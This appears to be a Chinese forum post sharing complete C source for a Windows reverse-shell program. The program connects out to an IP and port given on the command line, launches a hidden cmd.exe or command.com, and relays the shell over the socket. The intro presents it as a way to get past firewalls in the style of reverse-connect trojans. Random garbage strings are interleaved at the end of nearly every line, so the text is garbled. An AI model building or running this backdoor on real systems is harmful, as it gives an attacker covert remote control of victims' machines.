这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 F.?^ko9d
@ bPQhn#(g
/* ============================== K]oFV
Rebound port in Windows NT n4Ry)O[.
By wind,2006/7 gE0k|Z(RF
===============================*/ dMQtW3stY
#include ((N<2G)
#include {XC# -3O
SQ]&nDd
#pragma comment(lib,"wsock32.lib") vR3'B3y
votv rZ=
void OutputShell(); ^hq`dr|R=
SOCKET sClient; Jp!Q2}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; g599Lc&
vkOCyi?c
void main(int argc,char **argv) x}i:nLhL
{ \&`S~c V9
WSADATA stWsaData; H.hF`n
int nRet; >> Z.]
SOCKADDR_IN stSaiClient,stSaiServer; mMS%O]m,|
:&HrOdz
if(argc != 3) 5yI_uQR
{ p2GkI/6)uu
printf("Useage:\n\rRebound DestIP DestPort\n"); kKr7c4q
return; 'mXf8
} A/|To!R
yJ c#y
WSAStartup(MAKEWORD(2,2),&stWsaData); 5(^&0c>P
b<P9@h~:
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q.>@w<[!L
<[@AMd S
stSaiClient.sin_family = AF_INET; )/1AF^ E
stSaiClient.sin_port = htons(0); |`1lCyV\tE
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); D kl4^}
9i*t3W71]
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) a"EX<6"
{ |77.Lqqy,
printf("Bind Socket Failed!\n"); fr#Y<=Jo
return; *8M0h9S$
} <kN4@bd;
/ Of*II&
stSaiServer.sin_family = AF_INET; [`BMi-WQ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +)h *)
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); __fa,kK {?
]+<[D2f
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) R?b3G4~
{ 1N{}G$'Go
printf("Connect Error!"); D>|m8-@]
return; lE=(6Q
} yl/-!
OutputShell(); N_rz~$|@9
} ?n)d: )Ud"
RZ-=UIf
void OutputShell() Uoe;4ni
{ ?&
qM C
char szBuff[1024]; 9fj3q>Un,
SECURITY_ATTRIBUTES stSecurityAttributes; 7g8}]\i+
OSVERSIONINFO stOsversionInfo; +F.{:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; VNBf2Va
STARTUPINFO stStartupInfo; thy)J.<J
char *szShell; sG[v vm
PROCESS_INFORMATION stProcessInformation; T2<?4^xN
unsigned long lBytesRead; {VtmQU?cJ
cVYDO*N2T
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B+[ri&6X\
/'k4NXnW3
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D!Pv`wm
stSecurityAttributes.lpSecurityDescriptor = 0; v W=$C
stSecurityAttributes.bInheritHandle = TRUE; F7P?*!dx
5Iine n3>
r6S-G{o
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); XVr>\T4
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); QVLv}w`O
z*n
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Yef=HSzo
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (8T36pt~
stStartupInfo.wShowWindow = SW_HIDE; `Sgj!/!F
stStartupInfo.hStdInput = hReadPipe; "Zm**h.t
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; & mwQj<Z
d5Hp&tm
GetVersionEx(&stOsversionInfo); +a1Or
H3\4&q
switch(stOsversionInfo.dwPlatformId) .'foS>W=t
{ tljZE)
case 1: <LL+\kfTZO
szShell = "command.com"; Sk7l&B
break; nb-]fa
default: %3b;`Oa
szShell = "cmd.exe"; #gn{X!;-;
break; _3@[S
F
} yvR3|
R9XISsM^
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); eajctkzj
r9MS,KG8
send(sClient,szMsg,77,0); RP[^1
while(1) 2E5n07,
{ +g %h,@
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ! |4fww
if(lBytesRead) cxX/ b,
{ F{*{f =E!B
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "#}Uh
send(sClient,szBuff,lBytesRead,0); Q1f)uwh
} (bhMo^3/*
else %G6Q+LMwm
{ %!DdjC&5*
lBytesRead=recv(sClient,szBuff,1024,0); A c^hZ.qPz
if(lBytesRead<=0) break; N;Hoi8W
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >A&D/kMO
} @}9*rWJIE
} 3DjlX*
WxPu{N
return; *^[m?3"W
}